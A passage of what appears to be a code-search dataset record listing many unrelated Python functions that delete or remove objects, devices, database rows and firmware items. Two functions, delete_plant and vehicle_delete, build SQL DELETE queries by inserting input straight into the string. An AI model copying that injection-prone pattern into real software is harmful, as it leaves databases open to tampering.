logger.debug(\"Deleting component \" + str(k) + \".\")\n self.K -= 1\n if k != self.K:\n # Put stats from last component into place of the one being removed\n self.m_N_numerators[k] = self.m_N_numerators[self.K]\n self.S_N_partials[k, :] = self.S_N_partials[self.K, :]\n self.log_prod_vars[k] = self.log_prod_vars[self.K]\n self.inv_vars[k, :] = self.inv_vars[self.K, :]\n self.counts[k] = self.counts[self.K]\n self.assignments[np.where(self.assignments == self.K)] = k\n # Empty out stats for last component\n self.m_N_numerators[self.K].fill(0.)\n self.S_N_partials[self.K, :].fill(0.)\n self.log_prod_vars[self.K] = 0.\n self.inv_vars[self.K, :].fill(0.)\n self.counts[self.K] = 0","def test_delete_device_template(self):\n pass","def delete(self, *args, **kwargs):\n\n if args:\n self.service.remove(EtherAddress(args[0]))\n else:\n self.service.remove_all()","def handle_delete(self, peer, row, col):\n if peer.hasSelection():\n \n peer.deleteSelection()\n \n else:\n\n self.delete(\"{}.{}\".format(row, col))\n \n # peer.move(row, col)\n\n return","def removeCompartmentGlyph(self, *args):\n return _libsbml.Layout_removeCompartmentGlyph(self, *args)","def test_delete_composition(self):\n pass","def delete(self):\r\n if self.__abstract__:\r\n raise ThunderdomeException('cant delete abstract elements')\r\n if self.eid is None:\r\n return self\r\n query = \"\"\"\r\n g.removeVertex(g.v(eid))\r\n g.stopTransaction(SUCCESS)\r\n \"\"\"\r\n results = execute_query(query, {'eid': self.eid})","def do_command(self, args):\n compops = dbops.Completions()\n compops.delete(args)","def do_destroy(self, arg):\n arg_list = arg.split(\" \") if type(arg) == str else arg\n if not arg:\n print(\"** class name missing **\")\n return\n if arg_list[0] not in HBNBCommand.class_list:\n print(\"** class doesn't exist **\")\n return\n if len(arg_list) < 2:\n print(\"** instance id missing **\")\n return\n key = arg_list[0] + \".\" + arg_list[1]\n if key in storage.all():\n del storage.all()[key]\n storage.save()\n return\n print(\"** no instance found **\")","def remove_broadcast_component(component_number=None):\n try:\n if component_number == None:\n broadcast_components = driver.find_elements_by_class_name('broadcast-component')\n component_number = len(broadcast_components)-1\n else:\n component_number = int(component_number)-1\n component = broadcast_components[component_number]\n remove = component.find_element_by_class_name('fa-stack')\n remove.click()\n wait()\n except Exception as e:\n return \"Error: \" + str(e)\n return \"Success\"","def deleteNetbook(self, hwid):\n\t\t# borra la netbook si está aceptada\n\t\tdata = urllib.urlencode({\n\t\t\t'id' : ','+hwid,\n\t\t})\n\t\tresponse = self.opener.open(\"http://172.16.0.2/tdserver/Device%20Admin/delete_pc_deal.jsp\", data)\n\t\t#response_str = ''.join(response.readlines())\n\n\t\t# si está como dispositivo temporal, la rechaza\n\t\tdata = urllib.urlencode({\n\t\t\t'Submit': 'Sí',\n\t\t\t'id' : ','+hwid,\n\t\t})\n\t\tresponse = self.opener.open(\"http://172.16.0.2/tdserver/Device%20Admin/reject_temp_pc_deal.jsp\", data)\n\t\t#response_str = ''.join(response.readlines())","def delete():\n global num_carte, code_secret, montant\n length_card = len(card_num_entry.get())\n if length_card in [5, 10, 15]:\n num_carte = num_carte[:-2]\n card_num.set(num_carte)\n else:\n num_carte = num_carte[:-1]\n card_num.set(num_carte)\n\n code_secret = code_secret[:-1]\n code.set(code_secret)\n\n montant = str(montant)[:-1]\n amount.set(montant)","def DeleteParticle(particle, fieldset, time):\n print('particle is deleted') \n #print(particle.lon, particle.lat, particle.depth)\n particle.delete()","def remove(self):\n self._switch.odlclient._request(self._path, method=\"delete\")","def delete(self):\n pass","def delete(self):\n pass","def delete(self):\n pass","def delete(self):\n pass","def delete_device(self):\n # PROTECTED REGION ID(SdpMasterLeafNode.delete_device) ENABLED START #\n # PROTECTED REGION END # // SdpMasterLeafNode.delete_device","def delete_particle():\n function = LegacyFunctionSpecification()\n function.must_handle_array = True\n #function.can_handle_array = True\n function.addParameter('index_of_the_particle', dtype='int32', direction=function.IN,\n description = \"Index of the particle to be removed. This index must have been returned by an earlier call to :meth:`new_particle`\")\n\n function.addParameter('npoints', dtype='int32', direction=function.LENGTH)\n function.result_type = 'int32'\n function.result_doc = \"\"\"\n 0 - OK\n particle was removed from the model\n -1 - ERROR\n particle could not be removed\n -2 - ERROR\n not yet implemented\n \"\"\"\n return function","def capacitygroup_delete(cmd_ctx, cpc, capacitygroup):\n cmd_ctx.execute_cmd(\n lambda: cmd_capacitygroup_delete(cmd_ctx, cpc, capacitygroup))","def delete(self, vehicle_id=None):\n raise NotImplementedError()","def DeleteElement(self, position):\n self.__context.builder.DocumentElementDelete(self._blip_data.wave_id,\n self._blip_data.wavelet_id,\n self._blip_data.blip_id,\n position)","def test_otoroshi_controllers_adminapi_tcp_service_api_controller_delete_entity_action(self):\n pass","def remove(self, name: str) -> None:\n del self.components[name]","def do_command(self, args):\n vendorops = dbops.Vendors()\n vendorops.delete(args)","def hfp_firmware_pack_item_remove(handle, org_dn, hfp_name, hw_vendor,\r\n hw_model, type):\r\n\r\n hfp_dn = org_dn + \"/fw-host-pack-\" + hfp_name\r\n dn = hfp_dn + \"/pack-image-\" + hw_vendor + \"|\" + hw_model + \"|\" + type\r\n mo = handle.query_dn(dn)\r\n if mo is None:\r\n raise ValueError(\"FirmwarePackItem '%s' does not exist\" % dn)\r\n\r\n handle.remove_mo(mo)\r\n handle.commit()\r\n return mo","def delete(device):\n delete_subject(device)\n return redirect_back('index')","def on_pushButton_delete_clicked(self):\n row = self.tableWidget.currentIndex().row()\n # 找到对于行的第一项（XX编码项）\n xxbm = unicode(self.tableWidget.takeItem(row, 0).text())\n self.tableWidget.setItem(row, 0, QTableWidgetItem(xxbm))\n content = unicode(self.comboBox.currentText())\n if content == \"职称表\":\n result_signal = self.sql_client.delete_zc_info(xxbm)\n elif content == \"文化表\":\n result_signal = self.sql_client.delete_wh_info(xxbm)\n else:\n result_signal = self.sql_client.delete_bm_info(xxbm)\n\n QMessageBox.information(self, 'Message', \"删除成功！\", QMessageBox.Yes)\n self.tableWidget.removeRow(row)","def remove(self):\n\t\tcall_sdk_function('PrlVmDevHdPart_Remove', self.handle)","def test_delete_hyperflex_server_firmware_version(self):\n pass","def del_car(matricula):\n global max\n con = lite.connect('parking.db')\n cur = con.cursor()\n if(_formatMatriculaValid(matricula)):\n try:\n cur.execute(\"DELETE FROM cotxes WHERE id_cotxe=?\",(matricula,))\n cur.execute(\"DELETE FROM parking WHERE id_cotxe=?\",(matricula,))\n con.commit()\n max +=1\n except lite.IntegrityError:\n print \"Error.lelele\"\n else:\n print(\"Format matricula invalid.\")\n con.close()","def post_bgp_router_delete(self, resource_id, resource_dict):\n pass","def test_remove(self):\n solution = pk.Solution()\n model = pk.Model('iv')\n protocol = pk.Protocol()\n model2 = pk.Model('sc')\n protocol2 = pk.Protocol(initial_dose=1.1, time_span=1.2)\n with self.assertRaises(TypeError):\n solution.remove()\n with self.assertRaises(TypeError):\n solution.remove('model')\n with self.assertRaises(IndexError):\n solution.remove(1)\n solution.add(model, protocol)\n self.assertEqual(solution.list_compartments, [(model, protocol)])\n solution.remove(0)\n self.assertEqual(solution.list_compartments, [])\n solution.add(model, protocol)\n solution.add(model2, protocol2)\n self.assertEqual(solution.list_compartments,\n [(model, protocol), (model2, protocol2)])\n solution.remove(1)\n self.assertEqual(solution.list_compartments, [(model, protocol)])\n solution.remove(0)\n self.assertEqual(solution.list_compartments, [])\n with self.assertRaises(IndexError):\n solution.remove(0)","def __delete__(self, instance):\n self._lib_vscf_ecc.vscf_ecc_delete(self.ctx)","def delete(self):\n\n del self.parent_mirror_dir[self.cvs_path]","def test_remove_component_invalid():\n\n with pytest.raises(ComponentAttributeError):\n application_services.get_component('missing_component_to_remove')","def delete_machine(args):\n session = Session()\n # the following is used to help with code completion\n \"\"\"session.query(PoolMachine).filter(PoolMachine.hostname==args.hostname).delete()\n session.commit()\"\"\"\n machine = session.query(PoolMachine).filter(PoolMachine.hostname==args.hostname).first()\n if machine is not None:\n print \"Deleting machine with hostname: \" + machine.hostname + \" and with id: \" + str(machine.id)\n session.query(PoolMachine).filter(PoolMachine.hostname==args.hostname).delete()\n session.commit()\n else:\n print \"No machine was found!\"","def on_delete_clicked(self,button):\n\t\tself.list_partitions.delete_selected_partition()","def delete_bgp_peer(virtualInterfaceId=None, asn=None, customerAddress=None):\n pass","def delete_build(self, package, version):\n with self._conn.begin():\n self._conn.execute(\n \"VALUES (delete_build(%s, %s))\", (package, version))"],"string":"[\n \"def delcomponent(self,\\n context=[],\\n componentid=None):\\n if componentid == None:\\n raise ValueError, \\\"delcomponent: componentid is None\\\"\\n return jsoncall.do_call(\\\"delcomponent\\\", {'modelname':self.modelname,\\\\\\n 'user':self.user,\\\\\\n 'password':self.password,\\\\\\n 'context':context,\\\\\\n 'componentid':componentid},\\n self.connection)\",\n \"def delete(args, config):\\n print('Deletes a selected HPC fleet with name \\\"{}\\\"'.format(args.fleet_name))\",\n \"def remove(self, component) -> None:\\n pass\",\n \"def remove_component(self, component: Component):\\n self.nexus.component_removed.emit(component.name)\\n self.nexus.delete_node(component.group)\",\n \"def deleteDevice(serial):\\n swDB = switchdb.DB()\\n swDB.deleteBySerial(serial)\\n swDB.close()\",\n \"def test_component_remove_ok(self):\\n test_name = sys._getframe().f_code.co_name\\n self._execute('component remove component1')\\n rv, output = self._execute('component list')\\n self.assertEqual(0, rv)\\n self.assertEqual(self.expected_results[test_name], output)\",\n \"def test_model_flow_node_model_flow_id_node_id_component_delete(self):\\n pass\",\n \"def remove_component(self, component):\\n component.remove()\\n self._changed = True\",\n \"def RemoveComponent(self, *args):\\n return _XCAFDoc.XCAFDoc_ShapeTool_RemoveComponent(self, *args)\",\n \"def delete_command():\\n global selected_tuple\\n backend.delete(selected_tuple[0])\",\n \"def delete_address(self) -> object:\\n self.delete_button.click()\\n\\n return DeletionModal(self).wait_for_component_to_be_present()\",\n \"def test_remove_component():\\n\\n component = application_services.get_component('database.component')\\n application_services.remove_component(component.get_id())\\n\\n with pytest.raises(ComponentAttributeError):\\n application_services.get_component('database.component')\\n\\n application_services.register_component(component)\",\n \"def remove_comp(self, component):\\n if hasattr(component, 'name'):\\n component = component.name\\n try:\\n del self['pore.mole_fraction.' + component]\\n except KeyError:\\n pass\",\n \"def delete_field(self):\\n self.exec_command(b\\\"DeleteField\\\")\",\n \"def remove_component(self, c):\\n if isinstance(c, ComponentViewer):\\n component_id = c.id\\n c._view = None\\n else:\\n component_id = c\\n self._clear_component_auto_completion()\\n if self._trajlist:\\n for traj in self._trajlist:\\n if traj.id == component_id:\\n self._trajlist.remove(traj)\\n component_index = self._ngl_component_ids.index(component_id)\\n self._ngl_component_ids.remove(component_id)\\n self._ngl_component_names.pop(component_index)\\n\\n self._remote_call(\\n 'removeComponent', target='Stage', args=[\\n component_index,\\n ])\\n\\n self._update_component_auto_completion()\",\n \"def delete_device(self):\\n # PROTECTED REGION ID(CspSubElementSubarray.delete_device) ENABLED START #\\n # PROTECTED REGION END # // CspSubElementSubarray.delete_device\",\n \"def delX(self):\\n del self.components[0]\",\n \"def delX(self):\\n del self.components[0]\",\n \"def delete(self, c_path):\\n raise NotImplementedError\",\n \"def delete(self, params=None):\\n self.logger.debug('Deleting {resource_type} with parameters:'\\n ' {params}'.format(resource_type=self.type_name,\\n params=params))\\n self.client.delete_pipeline(**params)\",\n \"def delete(ctx: click.Context, repository_path):\\n root_commands.cmd_delete(ctx.obj, repository_path)\",\n \"def delete():\",\n \"def delete(self, request, p_name):\\n project = Project.objects.get(name=p_name)\\n connectors = project.connector_set.all()\\n connectors.delete()\\n if os.path.isfile(project.project_location):\\n os.remove(project.project_location)\\n project.delete()\\n return HttpResponse(HTTPStatus.OK)\",\n \"def delete_device(self):\\n # PROTECTED REGION ID(CbfSubarray.delete_device) ENABLED START #\\n\\n pass\\n # PROTECTED REGION END # // CbfSubarray.delete_device\",\n \"def delete_controller(cls, args, config):\\n # print \\\"MOLNSProvider.delete_provider(args={0}, config={1})\\\".format(args, config)\\n if len(args) == 0:\\n raise MOLNSException(\\\"USAGE: molns cluser delete name\\\")\\n config.delete_object(name=args[0], kind='Controller')\",\n \"def delete():\\n Course.print_all_crs()\\n course_name = input(\\\"Please, type course name >\\\")\\n c = Course(course_name)\\n if c.is_course_exists():\\n db = Course._file.read_db()\\n for crs_i in range(len(db[\\\"courses\\\"])):\\n if db[\\\"courses\\\"][crs_i][\\\"course_name\\\"] == course_name:\\n del db[\\\"courses\\\"][crs_i]\\n break\\n Course._file.write_db(db)\\n print(\\\"{} course is deleted\\\".format(course_name))\\n else:\\n print(\\\"Failed. {} course does not exist\\\".format(course_name))\",\n \"def delete(self):\\n self.parser.add_argument('lp_id',\\n help=\\\"Language pack id\\\")\\n args = self.parser.parse_args()\\n self.client.languagepacks.delete(lp_id=args.lp_id)\",\n \"def delete(self, registration):\\n return Car.delete(registration)\",\n \"def delete():\\n\\n # Check the pipe setup.\\n check_pipe_setup(sequence=True, j=True)\\n\\n # The interatomic data.\\n for interatom in interatomic_loop():\\n # The data.\\n if hasattr(interatom, 'j_coupling'):\\n del interatom.j_coupling\\n\\n # The error.\\n if hasattr(interatom, 'j_coupling_err'):\\n del interatom.j_coupling_err\",\n \"def delete(self, controller, virtual_drive='all'):\\n return self.run('/c{} /v{} del force'.format(controller, virtual_drive))\",\n \"def delete(self):\\n logger.info('Delete the port chain: %s' % self.name)\\n # Delete port chain\\n self.pc_client.delete('port_chain', self.name)\\n\\n logger.info('Delete the flow classifier.')\\n self.pc_client.delete('flow_classifier', self.flow_conf['name'])\\n\\n # Delete all port pair groups\\n logger.info('Delete port pair groups and port pairs.')\\n srv_ppgrp_lst = self.srv_chain.get_srv_ppgrp_id()\\n for grp_idx in range(len(srv_ppgrp_lst)):\\n pp_grp_name = 'pp_grp_%s' % grp_idx\\n self.pc_client.delete('port_pair_group', pp_grp_name)\\n\\n # Delete all port pairs\\n for grp_idx, pp_grp in enumerate(srv_ppgrp_lst):\\n for pp_idx in range(len(pp_grp)):\\n pp_name = 'pp_%s_%s' % (grp_idx, pp_idx)\\n self.pc_client.delete('port_pair', pp_name)\",\n \"def removeCompartment(self, *args):\\n return _libsbml.Model_removeCompartment(self, *args)\",\n \"def delete_plant(db_path: str, plant: Plant) -> None:\\n # Since the names need to be unique in the SQL Databse\\n # we can filter on the specific name\\n query = f\\\"DELETE FROM plants WHERE name='{plant.name}'\\\"\\n\\n conn: Connection = sqlite3.connect(path.join(db_path, 'company_data.db'))\\n curr: Cursor = conn.cursor()\\n try:\\n curr.execute(query)\\n except sqlite3.IntegrityError:\\n raise ValueError(\\\"There was an error\\\")\\n\\n conn.commit()\\n curr.close()\\n conn.close()\",\n \"def delete():\\n add_book_tk = DeleteBookDialog()\\n entries_args = [\\n (\\\"Book ID : \\\", 0.5),\\n ]\\n add_book_tk.create_components(entries_args)\\n add_book_tk.mainloop()\",\n \"def delete(self, name):\\n instance = self.get_one_instance('name', name)\\n\\n if type(instance) != self.Component:\\n set_session_var('errors', str(instance))\\n return None\\n\\n res = delete_in_db(instance)\\n\\n if res != 'deleted':\\n set_session_var('errors', str(res))\\n else:\\n set_session_var('success', res)\\n\\n return True\",\n \"def deletePod(peaPodInstance,**kwargs):\\n\\treturnToHome=True\\n\\treturnToHome=kwargs.get(\\\"returnToHome\\\",returnToHome)\\n\\n\\tchoice=messagebox.askokcancel(\\\"Sure\\\",\\\"Are you sure you want to delete this pod?\\\")\\n\\tif choice:\\n\\t\\tcurrentMaster=masterPod.currentMasterPod\\n\\t\\tfor pea in currentMaster.peas:\\n\\t\\t\\tcurrentPeaPod=currentMaster.peas[pea]\\n\\t\\t\\tif currentPeaPod == peaPodInstance:\\n\\t\\t\\t\\tdel currentMaster.peas[pea]\\n\\t\\t\\t\\tbreak\\n\\t\\t#Save\\n\\t\\tcurrentMaster.save()\\n\\n\\t\\tif returnToHome:\\n\\t\\t\\tgoHome()\",\n \"def delete_flow_via_controller(qualifiers, controller, name=None):\\n flow_command = \\\"flow_delete\\\"\\n flow = qualifiers\\n if not name:\\n name = 'flow1'\\n if controller.name == 'nox':\\n controller.setprop(flow_command, [flow_command, flow])\\n elif controller.name == 'floodlight':\\n controller.setprop(flow_command, ['flow_delete', name])\\n elif controller.name == 'oftest':\\n controller.setprop(flow_command, [flow])\",\n \"def delete_part():\\n if request.method==\\\"POST\\\":\\n if request.form['del']==\\\"\\\":\\n return render_template(\\n \\\"delete-parterre.html\\\",\\n liste = get_parterres(),\\n title = \\\"Supprimer un parterre\\\")\\n else:\\n a = get_parterre(int(request.form['del']))\\n a.clear_datas()\\n for capteur in a.get_capteurs():\\n a.delete_capteur(capteur)\\n capteur.set_parterre(1)\\n p = Actions(\\n contenu = \\\"Suppresion du parterre \\\"+a.get_name(),\\n liste = 1\\n )\\n db.session.add(p)\\n db.session.delete(a)\\n db.session.commit()\\n return render_template(\\n \\\"delete-parterre.html\\\",\\n liste = get_parterres(),\\n title = \\\"Supprimer un parterre\\\")\",\n \"def delete(parameters, session):\\n from Modules.Classes.ExperimentalScenario import ExperimentalScenario\\n # Received --> [id_exeriment]\\n # Retrieve all scenarios associated with target experiment\\n exp_sc = session.query(ExperimentalScenario).filter(ExperimentalScenario.experiment_id == parameters[0]).all()\\n for item in exp_sc:\\n # Retrieve all ExperimentalScenarioPattern association for current experimental scenario\\n exp_scenarios_pat = session.query(ExperimentalScenarioPattern).filter(and_(\\n ExperimentalScenarioPattern.experimental_scenario_id == item.id,\\n ExperimentalScenarioPattern.pattern_type == 2)).all()\\n for item2 in exp_scenarios_pat:\\n session.delete(item2)\\n session.commit()\\n session.close()\\n msg_rspt = Message(action=2, comment='Register deleted successfully')\\n return msg_rspt\",\n \"def delete_composed_node(cls, composed_node_uuid):\\n cls.dbdriver.delete_composed_node(composed_node_uuid)\",\n \"def garage_controller_delete(self, garage_controller_id=None, path=None):\\n if path == None:\\n path = []\\n if garage_controller_id:\\n path.insert(0, garage_controller_id)\\n path.insert(0, \\\"garagecontroller\\\")\\n location = '/'.join(path)\\n return self.send_delete(location, params={})\",\n \"def _delete_subport(self, trunk, subport, df_parent):\\n id_ = self._get_subport_id(trunk, subport)\\n model = trunk_models.ChildPortSegmentation(\\n id=id_,\\n topic=trunk.project_id\\n )\\n self.nb_api.delete(model)\",\n \"def remove_component(self, sCompName):\\n del self._dComponents[sCompName]\",\n \"def delete(self):\\n self.log.info('Deleting')\\n self._state = PonPort.State.DELETING\\n self._cancel_deferred()\",\n \"def delete_model(self, request, obj):\\n obj.post.comNumDrease()\\n obj.delete()\",\n \"def firmware_pack_remove(handle, org_name, name, org_parent=\\\"org-root\\\"):\\n org_dn = org_parent + \\\"/org-\\\" + org_name\\n p_mo = handle.query_dn(org_dn)\\n if not p_mo:\\n log.info(\\\"Sub-Org <%s> not found!\\\" %org_name)\\n else:\\n fw_dn= org_dn + \\\"/fw-host-pack-\\\" + name\\n mo = handle.query_dn(fw_dn)\\n if not mo:\\n log.info(\\\"Firmware host pack <%s> not found.Nothing to remove\\\" % name)\\n else:\\n handle.remove_mo(mo)\\n handle.commit()\",\n \"def delete_fleet(Name=None):\\n pass\",\n \"def delete(self, *args, **kwargs):\\n print(\\\"form delete\\\")\\n self.is_deleted = True\\n current_section_sequence = self.section_sequence\\n\\n #This can be modified if we have to hard delete the sections\\n\\n # for sec_id in current_section_sequence:\\n # current_section = Sections.objects.get(id = sec_id )\\n # current_section.delete()\\n\\n self.save()\",\n \"def sr_remove_c():\\n req_data = request.get_json()\\n logging.debug(\\\"req_data = \\\" + str(req_data))\\n\\n product_name = req_data['product_name']\\n version_number = req_data['version_number']\\n name = req_data['name']\\n version = req_data['version']\\n destination = req_data['destination']\\n\\n outcome = {\\\"name\\\": \\\"Fail\\\"}\\n\\n try:\\n # create new association\\n c_id = Component.query.filter_by(name=name, version=version).first().id\\n sr_id = SoftwareRelease.query.filter_by(product_name=product_name, version_number=version_number).first().id\\n a = Association.query.filter_by(software_release_id=sr_id, component_id=c_id, destination=destination).first()\\n\\n db.session.delete(a)\\n\\n db.session.commit()\\n outcome['name'] = \\\"Success\\\"\\n except:\\n db.session.rollback()\\n raise\\n finally:\\n db.session.close()\\n return jsonify(outcome)\",\n \"def delete_field(request):\\n try:\\n bpo_topic = BPOTopic.objects.get(id=ObjectId(request.POST.get('topic_id')))\\n bpo_field = BPOField.objects.get(id=ObjectId(request.POST.get('field_id')))\\n bpo_topic.fields.remove(ObjectId(bpo_field.id))\\n bpo_topic.save()\\n bpo_field.delete()\\n except Exception as e:\\n return HttpResponseBadRequest(e)\\n else:\\n return HttpResponse(json.dumps({'status': 'success'}), mimetype=\\\"application/x-javascript\\\")\",\n \"def delete_product(self):\\n id = self.lineEdit_id.text()\\n if len(self.lineEdit_name.text()) != 0 and len(self.lineEdit_desc.text()) != 0 and len(\\n self.lineEdit_cost.text()) != 0 and len(self.lineEdit_cat.text()) != 0:\\n if id.isnumeric():\\n try:\\n delete_product(id)\\n self.frame_3.show()\\n self.label_16.setText('SUCESSFULLY DELETED PRODUCT!')\\n self.clear_fields()\\n except:\\n self.frame_3.show()\\n self.label_16.setText('ERROR DELETING PRODUCT!')\\n else:\\n self.frame_3.show()\\n self.label_16.setText('THERE CAN BE NO BLANCK FIELDS!')\",\n \"def delete(self, *args, **kwargs):\\n pass\",\n \"def delete(self, *args, **kwargs):\\n pass\",\n \"def delete(self):\\n ...\",\n \"def hfp_delete(handle, org_dn, name):\\r\\n\\r\\n dn = org_dn + \\\"/fw-host-pack-\\\" + name\\r\\n mo = handle.query_dn(dn)\\r\\n if mo is None:\\r\\n raise ValueError(\\\"HFP '%s' does not exist\\\" % dn)\\r\\n\\r\\n handle.remove_mo(mo)\\r\\n handle.commit()\",\n \"def test_component_remove_error_bad_component(self):\\n test_name = sys._getframe().f_code.co_name\\n rv, output = self._execute('component remove bad_component')\\n self.assertEqual(2, rv)\\n self.assertEqual(self.expected_results[test_name], output)\",\n \"def delete_book(code: str):\\n pass\",\n \"def vehicle_delete(body): # noqa: E501\\n if connexion.request.is_json:\\n body = Vehicle.from_dict(connexion.request.get_json()) # noqa: E501\\n # Create connection to the DB and cursor.\\n if os.environ[\\\"DATABASE_URL\\\"]:\\n conn = psycopg2.connect(os.environ[\\\"DATABASE_URL\\\"])\\n else:\\n conn = psycopg2.connect(\\n \\\"host=localhost dbname=accidents_raw user=postgres password=password\\\")\\n cur = conn.cursor()\\n\\n statement = \\\"DELETE FROM vehicles WHERE ST_CASE = \\\" + body.st_case\\n cur.execute(statement)\\n\\n # Print result from delete command\\n print(cur.statusmessage)\\n\\n conn.commit()\\n response = ApiResponse(code=200, type=\\\"Good\\\", message=\\\"Successful delete\\\")\\n return response\",\n \"def delete_servicech(self, conf, phone_num):\\n\\t\\tpass\",\n \"def del_component(self, k):\\n logger.debug(\\\"Deleting component \\\" + str(k) + \\\".\\\")\\n self.K -= 1\\n if k != self.K:\\n # Put stats from last component into place of the one being removed\\n self.m_N_numerators[k] = self.m_N_numerators[self.K]\\n self.S_N_partials[k, :] = self.S_N_partials[self.K, :]\\n self.log_prod_vars[k] = self.log_prod_vars[self.K]\\n self.inv_vars[k, :] = self.inv_vars[self.K, :]\\n self.counts[k] = self.counts[self.K]\\n self.assignments[np.where(self.assignments == self.K)] = k\\n # Empty out stats for last component\\n self.m_N_numerators[self.K].fill(0.)\\n self.S_N_partials[self.K, :].fill(0.)\\n self.log_prod_vars[self.K] = 0.\\n self.inv_vars[self.K, :].fill(0.)\\n self.counts[self.K] = 0\",\n \"def test_delete_device_template(self):\\n pass\",\n \"def delete(self, *args, **kwargs):\\n\\n if args:\\n self.service.remove(EtherAddress(args[0]))\\n else:\\n self.service.remove_all()\",\n \"def handle_delete(self, peer, row, col):\\n if peer.hasSelection():\\n \\n peer.deleteSelection()\\n \\n else:\\n\\n self.delete(\\\"{}.{}\\\".format(row, col))\\n \\n # peer.move(row, col)\\n\\n return\",\n \"def removeCompartmentGlyph(self, *args):\\n return _libsbml.Layout_removeCompartmentGlyph(self, *args)\",\n \"def test_delete_composition(self):\\n pass\",\n \"def delete(self):\\r\\n if self.__abstract__:\\r\\n raise ThunderdomeException('cant delete abstract elements')\\r\\n if self.eid is None:\\r\\n return self\\r\\n query = \\\"\\\"\\\"\\r\\n g.removeVertex(g.v(eid))\\r\\n g.stopTransaction(SUCCESS)\\r\\n \\\"\\\"\\\"\\r\\n results = execute_query(query, {'eid': self.eid})\",\n \"def do_command(self, args):\\n compops = dbops.Completions()\\n compops.delete(args)\",\n \"def do_destroy(self, arg):\\n arg_list = arg.split(\\\" \\\") if type(arg) == str else arg\\n if not arg:\\n print(\\\"** class name missing **\\\")\\n return\\n if arg_list[0] not in HBNBCommand.class_list:\\n print(\\\"** class doesn't exist **\\\")\\n return\\n if len(arg_list) < 2:\\n print(\\\"** instance id missing **\\\")\\n return\\n key = arg_list[0] + \\\".\\\" + arg_list[1]\\n if key in storage.all():\\n del storage.all()[key]\\n storage.save()\\n return\\n print(\\\"** no instance found **\\\")\",\n \"def remove_broadcast_component(component_number=None):\\n try:\\n if component_number == None:\\n broadcast_components = driver.find_elements_by_class_name('broadcast-component')\\n component_number = len(broadcast_components)-1\\n else:\\n component_number = int(component_number)-1\\n component = broadcast_components[component_number]\\n remove = component.find_element_by_class_name('fa-stack')\\n remove.click()\\n wait()\\n except Exception as e:\\n return \\\"Error: \\\" + str(e)\\n return \\\"Success\\\"\",\n \"def deleteNetbook(self, hwid):\\n\\t\\t# borra la netbook si está aceptada\\n\\t\\tdata = urllib.urlencode({\\n\\t\\t\\t'id' : ','+hwid,\\n\\t\\t})\\n\\t\\tresponse = self.opener.open(\\\"http://172.16.0.2/tdserver/Device%20Admin/delete_pc_deal.jsp\\\", data)\\n\\t\\t#response_str = ''.join(response.readlines())\\n\\n\\t\\t# si está como dispositivo temporal, la rechaza\\n\\t\\tdata = urllib.urlencode({\\n\\t\\t\\t'Submit': 'Sí',\\n\\t\\t\\t'id' : ','+hwid,\\n\\t\\t})\\n\\t\\tresponse = self.opener.open(\\\"http://172.16.0.2/tdserver/Device%20Admin/reject_temp_pc_deal.jsp\\\", data)\\n\\t\\t#response_str = ''.join(response.readlines())\",\n \"def delete():\\n global num_carte, code_secret, montant\\n length_card = len(card_num_entry.get())\\n if length_card in [5, 10, 15]:\\n num_carte = num_carte[:-2]\\n card_num.set(num_carte)\\n else:\\n num_carte = num_carte[:-1]\\n card_num.set(num_carte)\\n\\n code_secret = code_secret[:-1]\\n code.set(code_secret)\\n\\n montant = str(montant)[:-1]\\n amount.set(montant)\",\n \"def DeleteParticle(particle, fieldset, time):\\n print('particle is deleted') \\n #print(particle.lon, particle.lat, particle.depth)\\n particle.delete()\",\n \"def remove(self):\\n self._switch.odlclient._request(self._path, method=\\\"delete\\\")\",\n \"def delete(self):\\n pass\",\n \"def delete(self):\\n pass\",\n \"def delete(self):\\n pass\",\n \"def delete(self):\\n pass\",\n \"def delete_device(self):\\n # PROTECTED REGION ID(SdpMasterLeafNode.delete_device) ENABLED START #\\n # PROTECTED REGION END # // SdpMasterLeafNode.delete_device\",\n \"def delete_particle():\\n function = LegacyFunctionSpecification()\\n function.must_handle_array = True\\n #function.can_handle_array = True\\n function.addParameter('index_of_the_particle', dtype='int32', direction=function.IN,\\n description = \\\"Index of the particle to be removed. This index must have been returned by an earlier call to :meth:`new_particle`\\\")\\n\\n function.addParameter('npoints', dtype='int32', direction=function.LENGTH)\\n function.result_type = 'int32'\\n function.result_doc = \\\"\\\"\\\"\\n 0 - OK\\n particle was removed from the model\\n -1 - ERROR\\n particle could not be removed\\n -2 - ERROR\\n not yet implemented\\n \\\"\\\"\\\"\\n return function\",\n \"def capacitygroup_delete(cmd_ctx, cpc, capacitygroup):\\n cmd_ctx.execute_cmd(\\n lambda: cmd_capacitygroup_delete(cmd_ctx, cpc, capacitygroup))\",\n \"def delete(self, vehicle_id=None):\\n raise NotImplementedError()\",\n \"def DeleteElement(self, position):\\n self.__context.builder.DocumentElementDelete(self._blip_data.wave_id,\\n self._blip_data.wavelet_id,\\n self._blip_data.blip_id,\\n position)\",\n \"def test_otoroshi_controllers_adminapi_tcp_service_api_controller_delete_entity_action(self):\\n pass\",\n \"def remove(self, name: str) -> None:\\n del self.components[name]\",\n \"def do_command(self, args):\\n vendorops = dbops.Vendors()\\n vendorops.delete(args)\",\n \"def hfp_firmware_pack_item_remove(handle, org_dn, hfp_name, hw_vendor,\\r\\n hw_model, type):\\r\\n\\r\\n hfp_dn = org_dn + \\\"/fw-host-pack-\\\" + hfp_name\\r\\n dn = hfp_dn + \\\"/pack-image-\\\" + hw_vendor + \\\"|\\\" + hw_model + \\\"|\\\" + type\\r\\n mo = handle.query_dn(dn)\\r\\n if mo is None:\\r\\n raise ValueError(\\\"FirmwarePackItem '%s' does not exist\\\" % dn)\\r\\n\\r\\n handle.remove_mo(mo)\\r\\n handle.commit()\\r\\n return mo\",\n \"def delete(device):\\n delete_subject(device)\\n return redirect_back('index')\",\n \"def on_pushButton_delete_clicked(self):\\n row = self.tableWidget.currentIndex().row()\\n # 找到对于行的第一项（XX编码项）\\n xxbm = unicode(self.tableWidget.takeItem(row, 0).text())\\n self.tableWidget.setItem(row, 0, QTableWidgetItem(xxbm))\\n content = unicode(self.comboBox.currentText())\\n if content == \\\"职称表\\\":\\n result_signal = self.sql_client.delete_zc_info(xxbm)\\n elif content == \\\"文化表\\\":\\n result_signal = self.sql_client.delete_wh_info(xxbm)\\n else:\\n result_signal = self.sql_client.delete_bm_info(xxbm)\\n\\n QMessageBox.information(self, 'Message', \\\"删除成功！\\\", QMessageBox.Yes)\\n self.tableWidget.removeRow(row)\",\n \"def remove(self):\\n\\t\\tcall_sdk_function('PrlVmDevHdPart_Remove', self.handle)\",\n \"def test_delete_hyperflex_server_firmware_version(self):\\n 